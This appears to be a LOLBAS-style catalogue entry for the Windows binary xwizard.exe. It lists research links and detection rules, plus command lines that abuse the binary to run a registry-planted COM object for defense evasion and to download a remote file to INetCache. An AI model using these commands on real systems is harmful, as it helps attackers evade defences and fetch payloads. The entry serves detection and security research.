.. /Xwizard.exe

Star

Paths:

• C:\Windows\System32\xwizard.exe
• C:\Windows\SysWOW64\xwizard.exe

Resources:

• http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/
• https://www.youtube.com/watch?v=LwDHX7DVHWU
• https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5
• https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
• https://twitter.com/notwhickey/status/1306023056847110144

Acknowledgements:

• Adam (@Hexacorn)
• Nick Tyrer (@NickTyrer)
• harr0ey (@harr0ey)
• Wade Hickey (@notwhickey)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml
• Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/execution_com_object_xwizard.toml
• Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml

Execute

1. Xwizard.exe running a custom class that has been added to the registry.

   xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}

   Use case

   Run a com object created in registry to evade defensive counter measures

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1218

   Tags

   Execute: COM

2. Xwizard.exe running a custom class that has been added to the registry. The /t and /u switch prevent an error message in later Windows 10 builds.

   xwizard RunWizard /taero /u {00000001-0000-0000-0000-0000FEEDACDC}

   Use case

   Run a com object created in registry to evade defensive counter measures

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1218

   Tags

   Execute: COM

Download

1. Xwizard.exe uses RemoteApp and Desktop Connections wizard to download a file, and save it to INetCache.

   xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z{REMOTEURL}

   Use case

   Download file from Internet

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1105

   Tags

   Download: INetCache